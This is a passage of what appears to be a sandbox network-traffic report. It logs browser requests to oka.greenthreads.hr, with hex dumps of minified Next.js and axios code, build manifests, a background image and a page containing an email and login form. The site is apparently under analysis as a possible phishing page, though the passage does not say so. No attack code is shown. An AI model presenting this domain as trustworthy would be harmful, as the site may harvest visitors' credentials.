2025-03-13 16:02:48 UTC	7116	IN	Data Raw: 3d 2b 65 2c 72 3e 3e 3e 3d 30 2c 69 7c 7c 45 28 74 2c 65 2c 72 2c 38 2c 31 37 39 37 36 39 33 31 33 34 38 36 32 33 31 35 37 65 32 39 32 2c 2d 31 37 39 37 36 39 33 31 33 34 38 36 32 33 31 35 37 65 32 39 32 29 2c 6f 2e 77 72 69 74 65 28 74 2c 65 2c 72 2c 6e 2c 35 32 2c 38 29 2c 72 2b 38 7d 65 2e 42 75 66 66 65 72 3d 61 2c 65 2e 53 6c 6f 77 42 75 66 66 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 2b 74 21 3d 74 26 26 28 74 3d 30 29 2c 61 2e 61 6c 6c 6f 63 28 2b 74 29 7d 2c 65 2e 49 4e 53 50 45 43 54 5f 4d 41 58 5f 42 59 54 45 53 3d 35 30 2c 65 2e 6b 4d 61 78 4c 65 6e 67 74 68 3d 32 31 34 37 34 38 33 36 34 37 2c 61 2e 54 59 50 45 44 5f 41 52 52 41 59 5f 53 55 50 50 4f 52 54 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 74 3d 6e Data Ascii: =+e,r>>>=0,i\|\|E(t,e,r,8,17976931348623157e292,-17976931348623157e292),o.write(t,e,r,n,52,8),r+8}e.Buffer=a,e.SlowBuffer=function(t){return+t!=t&&(t=0),a.alloc(+t)},e.INSPECT_MAX_BYTES=50,e.kMaxLength=2147483647,a.TYPED_ARRAY_SUPPORT=function(){try{var t=n
2025-03-13 16:02:48 UTC	8302	IN	Data Raw: 65 7c 7c 77 28 74 2c 31 2c 74 68 69 73 2e 6c 65 6e 67 74 68 29 2c 31 32 38 26 74 68 69 73 5b 74 5d 29 3f 2d 28 28 32 35 35 2d 74 68 69 73 5b 74 5d 2b 31 29 2a 31 29 3a 74 68 69 73 5b 74 5d 7d 2c 61 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 61 64 49 6e 74 31 36 4c 45 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 3e 3e 3e 3d 30 2c 65 7c 7c 77 28 74 2c 32 2c 74 68 69 73 2e 6c 65 6e 67 74 68 29 3b 76 61 72 20 72 3d 74 68 69 73 5b 74 5d 7c 74 68 69 73 5b 74 2b 31 5d 3c 3c 38 3b 72 65 74 75 72 6e 20 33 32 37 36 38 26 72 3f 34 32 39 34 39 30 31 37 36 30 7c 72 3a 72 7d 2c 61 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 61 64 49 6e 74 31 36 42 45 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 3e 3e 3e 3d 30 2c 65 7c 7c 77 28 74 2c 32 2c 74 68 69 73 2e 6c 65 6e 67 74 68 Data Ascii: e\|\|w(t,1,this.length),128&this[t])?-((255-this[t]+1)*1):this[t]},a.prototype.readInt16LE=function(t,e){t>>>=0,e\|\|w(t,2,this.length);var r=this[t]\|this[t+1]<<8;return 32768&r?4294901760\|r:r},a.prototype.readInt16BE=function(t,e){t>>>=0,e\|\|w(t,2,this.length
2025-03-13 16:02:48 UTC	6676	IN	Data Raw: 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 20 72 2e 63 61 6c 6c 28 74 68 69 73 2c 74 29 7d 7d 7d 28 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 74 2c 65 29 7b 74 68 69 73 2e 66 75 6e 3d 74 2c 74 68 69 73 2e 61 72 72 61 79 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 7d 6f 2e 6e 65 78 74 54 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 41 72 72 61 79 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2d 31 29 3b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 29 66 6f 72 28 76 61 72 20 72 3d 31 3b 72 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 65 5b 72 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 72 5d 3b 75 2e 70 75 73 68 28 6e 65 77 20 70 28 74 2c 65 29 29 2c 31 21 3d 3d 75 2e 6c 65 6e 67 74 68 Data Ascii: catch(e){return r.call(this,t)}}}(t)}}function p(t,e){this.fun=t,this.array=e}function d(){}o.nextTick=function(t){var e=Array(arguments.length-1);if(arguments.length>1)for(var r=1;r<arguments.length;r++)e[r-1]=arguments[r];u.push(new p(t,e)),1!==u.length
2025-03-13 16:02:48 UTC	10674	IN	Data Raw: 61 74 6f 72 5d 29 7d 2c 74 6f 4a 53 4f 4e 4f 62 6a 65 63 74 3a 74 70 2c 69 73 41 73 79 6e 63 46 6e 3a 74 64 2c 69 73 54 68 65 6e 61 62 6c 65 3a 74 79 2c 73 65 74 49 6d 6d 65 64 69 61 74 65 3a 74 67 2c 61 73 61 70 3a 74 6d 7d 3b 66 75 6e 63 74 69 6f 6e 20 74 77 28 74 2c 65 2c 72 2c 6e 2c 6f 29 7b 45 72 72 6f 72 2e 63 61 6c 6c 28 74 68 69 73 29 2c 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 3f 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 28 74 68 69 73 2c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 3a 74 68 69 73 2e 73 74 61 63 6b 3d 45 72 72 6f 72 28 29 2e 73 74 61 63 6b 2c 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 74 2c 74 68 69 73 2e 6e 61 6d 65 3d 22 41 78 69 6f 73 45 72 72 6f 72 22 2c 65 26 26 28 74 Data Ascii: ator])},toJSONObject:tp,isAsyncFn:td,isThenable:ty,setImmediate:tg,asap:tm};function tw(t,e,r,n,o){Error.call(this),Error.captureStackTrace?Error.captureStackTrace(this,this.constructor):this.stack=Error().stack,this.message=t,this.name="AxiosError",e&&(t
2025-03-13 16:02:48 UTC	11860	IN	Data Raw: 5b 22 67 65 74 22 2c 22 73 65 74 22 2c 22 68 61 73 22 5d 2e 66 6f 72 45 61 63 68 28 6e 3d 3e 7b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 6e 2b 72 2c 7b 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6f 29 7b 72 65 74 75 72 6e 20 74 68 69 73 5b 6e 5d 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2c 74 2c 72 2c 6f 29 7d 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 7d 29 7d 28 6e 2c 74 29 2c 72 5b 65 5d 3d 21 30 29 7d 72 65 74 75 72 6e 20 74 62 2e 69 73 41 72 72 61 79 28 74 29 3f 74 2e 66 6f 72 45 61 63 68 28 6f 29 3a 6f 28 74 29 2c 74 68 69 73 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 30 28 74 2c 65 29 7b 6c 65 74 20 72 3d 74 68 69 73 7c 7c 74 4a 2c 6e 3d 65 7c 7c 72 2c 6f 3d 74 51 2e 66 72 6f 6d 28 6e 2e 68 65 61 64 65 72 Data Ascii: ["get","set","has"].forEach(n=>{Object.defineProperty(t,n+r,{value:function(t,r,o){return this[n].call(this,e,t,r,o)},configurable:!0})})}(n,t),r[e]=!0)}return tb.isArray(t)?t.forEach(o):o(t),this}}function t0(t,e){let r=this\|\|tJ,n=e\|\|r,o=tQ.from(n.header
2025-03-13 16:02:48 UTC	6381	IN	Data Raw: 6e 21 74 31 28 65 29 26 26 28 65 4f 28 74 29 2c 65 26 26 65 2e 72 65 73 70 6f 6e 73 65 26 26 28 65 2e 72 65 73 70 6f 6e 73 65 2e 64 61 74 61 3d 74 30 2e 63 61 6c 6c 28 74 2c 74 2e 74 72 61 6e 73 66 6f 72 6d 52 65 73 70 6f 6e 73 65 2c 65 2e 72 65 73 70 6f 6e 73 65 29 2c 65 2e 72 65 73 70 6f 6e 73 65 2e 68 65 61 64 65 72 73 3d 74 51 2e 66 72 6f 6d 28 65 2e 72 65 73 70 6f 6e 73 65 2e 68 65 61 64 65 72 73 29 29 29 2c 50 72 6f 6d 69 73 65 2e 72 65 6a 65 63 74 28 65 29 7d 29 7d 6c 65 74 20 65 78 3d 22 31 2e 37 2e 39 22 2c 65 43 3d 7b 7d 3b 5b 22 6f 62 6a 65 63 74 22 2c 22 62 6f 6f 6c 65 61 6e 22 2c 22 6e 75 6d 62 65 72 22 2c 22 66 75 6e 63 74 69 6f 6e 22 2c 22 73 74 72 69 6e 67 22 2c 22 73 79 6d 62 6f 6c 22 5d 2e 66 6f 72 45 61 63 68 28 28 74 2c 65 29 3d 3e 7b Data Ascii: n!t1(e)&&(eO(t),e&&e.response&&(e.response.data=t0.call(t,t.transformResponse,e.response),e.response.headers=tQ.from(e.response.headers))),Promise.reject(e)})}let ex="1.7.9",eC={};["object","boolean","number","function","string","symbol"].forEach((t,e)=>{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49726	76.76.21.21	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:49 UTC	581	OUT	GET /_next/static/chunks/pages/index-d6318c8b55988a60.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:02:50 UTC	627	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 170555 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="index-d6318c8b55988a60.js" Content-Length: 3436 Content-Type: application/javascript; charset=utf-8 Date: Thu, 13 Mar 2025 16:02:50 GMT Etag: "1ab5148f51a9b649ac057952f5e150dc" Last-Modified: Tue, 11 Mar 2025 16:40:14 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/pages/index-d6318c8b55988a60.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::hc252-1741881770238-a82bbf62b484 Connection: close
2025-03-13 16:02:50 UTC	2372	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 30 35 5d 2c 7b 35 35 35 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 28 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 3d 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 22 2f 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 28 36 36 31 36 29 7d 5d 29 7d 2c 36 36 31 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 72 28 74 29 3b 76 61 72 20 61 3d 6e 28 35 38 39 33 29 2c 6f 3d 6e 28 37 32 39 34 29 2c 73 3d 6e 28 37 30 36 36 29 2c 69 3d 6e 28 32 35 36 38 29 2c 72 3d 6e 2e 6e 28 69 29 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[405],{5557:function(e,t,n){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),i=n(2568),r=n.n(i)
2025-03-13 16:02:50 UTC	928	IN	Data Raw: 3a 65 3d 3e 69 28 65 2e 74 61 72 67 65 74 2e 76 61 6c 75 65 29 2c 63 6c 61 73 73 4e 61 6d 65 3a 63 28 29 2e 69 6e 70 75 74 2c 72 65 71 75 69 72 65 64 3a 21 30 7d 29 2c 28 30 2c 61 2e 6a 73 78 29 28 22 62 75 74 74 6f 6e 22 2c 7b 74 79 70 65 3a 22 73 75 62 6d 69 74 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 63 28 29 2e 62 75 74 74 6f 6e 2c 63 68 69 6c 64 72 65 6e 3a 22 4c 6f 67 69 6e 22 7d 29 5d 7d 29 5d 7d 29 3a 28 30 2c 61 2e 6a 73 78 73 29 28 22 66 6f 72 6d 22 2c 7b 6f 6e 53 75 62 6d 69 74 3a 62 2c 63 68 69 6c 64 72 65 6e 3a 5b 28 30 2c 61 2e 6a 73 78 29 28 22 69 6e 70 75 74 22 2c 7b 74 79 70 65 3a 22 65 6d 61 69 6c 22 2c 70 6c 61 63 65 68 6f 6c 64 65 72 3a 22 45 6e 74 65 72 20 72 65 63 69 70 69 65 6e 74 20 65 6d 61 69 6c 22 2c 76 61 6c 75 65 3a 65 2c 6f 6e 43 Data Ascii: :e=>i(e.target.value),className:c().input,required:!0}),(0,a.jsx)("button",{type:"submit",className:c().button,children:"Login"})]})]}):(0,a.jsxs)("form",{onSubmit:b,children:[(0,a.jsx)("input",{type:"email",placeholder:"Enter recipient email",value:e,onC
2025-03-13 16:02:50 UTC	136	IN	Data Raw: 3a 22 49 6e 64 65 78 5f 69 6e 70 75 74 5f 5f 34 42 39 56 37 22 2c 62 75 74 74 6f 6e 3a 22 49 6e 64 65 78 5f 62 75 74 74 6f 6e 5f 5f 51 52 31 43 4d 22 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4f 28 30 2c 5b 37 37 34 2c 31 38 36 2c 38 38 38 2c 31 37 39 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 65 2e 73 3d 35 35 35 37 29 7d 29 2c 5f 4e 5f 45 3d 65 2e 4f 28 29 7d 5d 29 3b Data Ascii: :"Index_input__4B9V7",button:"Index_button__QR1CM"}}},function(e){e.O(0,[774,186,888,179],function(){return e(e.s=5557)}),_N_E=e.O()}]);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49727	76.76.21.21	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:49 UTC	582	OUT	GET /_next/static/CCVo9BeANpO6WTAXJAXiq/_buildManifest.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:02:50 UTC	619	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 170590 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="_buildManifest.js" Content-Length: 427 Content-Type: application/javascript; charset=utf-8 Date: Thu, 13 Mar 2025 16:02:50 GMT Etag: "a92a1c5e3c1ed80f4d4bf04b357a22e4" Last-Modified: Tue, 11 Mar 2025 16:39:39 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/CCVo9BeANpO6WTAXJAXiq/_buildManifest.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::jlqjv-1741881770252-77dbadf1048d Connection: close
2025-03-13 16:02:50 UTC	427	IN	Data Raw: 73 65 6c 66 2e 5f 5f 42 55 49 4c 44 5f 4d 41 4e 49 46 45 53 54 3d 7b 5f 5f 72 65 77 72 69 74 65 73 3a 7b 62 65 66 6f 72 65 46 69 6c 65 73 3a 5b 5d 2c 61 66 74 65 72 46 69 6c 65 73 3a 5b 5d 2c 66 61 6c 6c 62 61 63 6b 3a 5b 5d 7d 2c 22 2f 22 3a 5b 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 31 38 36 2d 65 34 30 31 37 31 37 64 39 65 38 62 38 34 32 62 2e 6a 73 22 2c 22 73 74 61 74 69 63 2f 63 73 73 2f 31 39 64 30 39 61 36 31 31 33 61 66 61 30 30 37 2e 63 73 73 22 2c 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 70 61 67 65 73 2f 69 6e 64 65 78 2d 64 36 33 31 38 63 38 62 35 35 39 38 38 61 36 30 2e 6a 73 22 5d 2c 22 2f 5f 65 72 72 6f 72 22 3a 5b 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 70 61 67 65 73 2f 5f 65 72 72 6f 72 2d 33 39 38 36 64 64 35 38 33 34 66 Data Ascii: self.__BUILD_MANIFEST={__rewrites:{beforeFiles:[],afterFiles:[],fallback:[]},"/":["static/chunks/186-e401717d9e8b842b.js","static/css/19d09a6113afa007.css","static/chunks/pages/index-d6318c8b55988a60.js"],"/_error":["static/chunks/pages/_error-3986dd5834f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49724	76.76.21.21	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:50 UTC	580	OUT	GET /_next/static/CCVo9BeANpO6WTAXJAXiq/_ssgManifest.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:02:50 UTC	614	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 175419 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="_ssgManifest.js" Content-Length: 77 Content-Type: application/javascript; charset=utf-8 Date: Thu, 13 Mar 2025 16:02:50 GMT Etag: "b6652df95db52feb4daf4eca35380933" Last-Modified: Tue, 11 Mar 2025 15:19:11 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/CCVo9BeANpO6WTAXJAXiq/_ssgManifest.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::nm2wt-1741881770346-a5dd258da7e0 Connection: close
2025-03-13 16:02:50 UTC	77	IN	Data Raw: 73 65 6c 66 2e 5f 5f 53 53 47 5f 4d 41 4e 49 46 45 53 54 3d 6e 65 77 20 53 65 74 2c 73 65 6c 66 2e 5f 5f 53 53 47 5f 4d 41 4e 49 46 45 53 54 5f 43 42 26 26 73 65 6c 66 2e 5f 5f 53 53 47 5f 4d 41 4e 49 46 45 53 54 5f 43 42 28 29 3b Data Ascii: self.__SSG_MANIFEST=new Set,self.__SSG_MANIFEST_CB&&self.__SSG_MANIFEST_CB();

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49723	76.76.21.21	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:50 UTC	641	OUT	GET /background.jpg HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oka.greenthreads.hr/_next/static/css/19d09a6113afa007.css Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:02:50 UTC	555	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 175418 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline; filename="background.jpg" Content-Length: 114870 Content-Type: image/jpeg Date: Thu, 13 Mar 2025 16:02:50 GMT Etag: "45068f0ed4f904b59752fcaa6d8d3e7e" Last-Modified: Tue, 11 Mar 2025 15:19:11 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /background.jpg X-Vercel-Cache: HIT X-Vercel-Id: iad1::pqscd-1741881770387-3af61e32ac1d Connection: close
2025-03-13 16:02:50 UTC	2372	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff e1 00 22 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 01 01 12 00 03 00 00 00 01 00 01 00 00 00 00 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 04 0a 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 Data Ascii: JFIFxx"ExifMM*CC"
2025-03-13 16:02:50 UTC	1000	IN	Data Raw: a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 Data Ascii: ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
2025-03-13 16:02:50 UTC	4744	IN	Data Raw: d2 75 28 96 7b 3b db 0b 84 9e da e1 1b ee ba 3a 16 56 5f f6 96 b4 23 af 17 fd 81 75 8b 5f 12 7e cf f7 7a 85 85 d5 be a1 a7 ea 9e 34 f1 75 fd 95 e5 bc ab 24 17 90 4b e2 4d 4d e2 95 1d 7e 57 8d e3 65 75 65 f9 59 59 59 6b da 94 ee aa 00 a2 8a 28 00 5d cb 42 ee dd 5f 9d bf b7 27 ec 5f e0 2f 14 7e de 9a 56 b7 e3 6d 2b 4b f1 84 df 14 2e ac 74 8d 2e 3d 23 52 ba b6 f1 8f 84 ee bc 86 8a 2b fb 7b 75 9b ec 97 1a 7c 0d 68 f7 0e d3 c0 cc be 6c ee cc e9 02 c0 dc cf ed 41 fb 05 e9 3f 11 bf 69 4f 0e f8 6f c6 7a a6 83 af 7c 63 f1 35 aa 6a f7 5f 12 fc 49 15 d6 8b 67 f6 74 9d 2c 61 b0 d1 34 eb 7b 94 82 7d 42 06 f2 a6 65 b9 69 55 59 e2 dc ae 97 4b 1c 0b de 03 f4 e2 8a 28 a6 07 93 7e db db 66 fd 98 fc 49 bd be 56 6b 5f fd 2c 82 bc 33 e1 bf c6 2f 03 78 93 f6 6a b5 f0 37 8b 35 Data Ascii: u({;:V_#u_~z4u$KMM~WeueYYYk(]B_'_/~Vm+K.t.=#R+{u\|hlA?iOoz\|c5j_Igt,a4{}BeiUYK(~fIVk_,3/xj75
2025-03-13 16:02:50 UTC	5930	IN	Data Raw: 87 fc 17 a6 eb 77 fa f5 f6 97 6f aa 6b 67 c3 d1 5a 5f 68 b7 f6 da af f6 af d9 5e f1 2c 1f 4f 78 56 e5 2e 65 82 2d f1 44 f1 2c 93 f9 b0 79 4a ed 3c 4a e0 1e b5 45 79 37 8a bf 6d 6f 87 be 0b f1 25 ae 8b 75 7d e2 69 bc 47 79 a4 59 78 85 34 2b 0f 09 6a f7 da c2 e9 f7 4d 3a 45 70 f6 30 da 3d ca 46 b2 42 e8 fb d1 7c 89 1a 24 97 63 4b 12 bd cf 01 7e d8 7f 0e be 2c 78 c2 cf 47 f0 ef 88 7f b6 1b 54 de ba 6e a9 6f 61 70 da 1e b4 e8 8c ef 15 8e a7 e5 7d 86 f6 54 54 95 9a 28 25 79 17 ec b3 ee 55 f2 25 d8 7b a0 7a 6d 14 51 40 05 14 57 8c 7c 7b f8 81 f1 13 fe 1a 23 c0 fe 05 f0 1e b5 e0 dd 07 fb 7b c3 9a ee bd 7f 7b af e8 17 5a c7 fc 78 5c 69 30 24 51 24 37 d6 bb 77 7f 68 bb 33 33 37 dc 5f 96 80 3d 9e 8a f9 ff 00 43 fd bc bc 33 e0 7d 63 50 f0 67 c4 2b cf b3 7c 44 d0 f5 Data Ascii: wokgZ_h^,OxV.e-D,yJ<JEy7mo%u}iGyYx4+jM:Ep0=FB\|$cK~,xGTnoap}TT(%yU%{zmQ@W\|{#{{Zx\i0$Q$7wh337_=C3}cPg+\|D
2025-03-13 16:02:50 UTC	7116	IN	Data Raw: e1 d8 3f 11 64 6d ff 00 da 1e 0f db fc 43 ed 97 1f fc 66 b1 95 3a 2e 5c d1 63 f7 8f 99 fc 27 67 26 9f e1 bd 3e de 4f b6 34 90 db c5 13 0b c9 56 5b 95 da ab fe b5 97 e5 69 7f bc cb fc 55 a9 e6 49 ff 00 3c ff 00 f1 ea fa 23 fe 1d 93 f1 0b 6f fc 84 3c 1e bf f6 f5 71 ff 00 c6 68 8f fe 09 97 f1 13 fe 82 5e 0f ff 00 c0 ab 8f fe 33 5b fb 68 77 33 3e 73 fb 44 96 fa 7b 21 fb d5 d7 fc 0b 87 67 c7 0f 03 7c df 37 fc 24 1a 7f fe 94 25 7a dc 9f f0 4c bf 88 b7 2a db 75 4f 07 af fd bd 5c 7f f1 9a da f8 73 ff 00 04 e6 f1 f7 85 7e 28 78 77 56 bc d4 fc 2a d6 5a 3e ad 69 7b 3a c5 71 33 48 c9 14 aa ec ab ba 15 f9 b6 af f7 a9 4a b4 39 77 2f 53 ed 98 ff 00 d5 ad 7c 9d ff 00 05 c4 f8 77 e2 1f 8b 1f f0 4b bf 8a 3e 1f f0 ae 87 ad 78 9f 5e d4 3f b2 be cf a6 69 56 73 df 5d 5c 6c d5 Data Ascii: ?dmCf:.\c'g&>O4V[iUI<#o<qh^3[hw3>sD{!g\|7$%zLuO\s~(xwVZ>i{:q3HJ9w/S\|wK>x^?iVs]\l
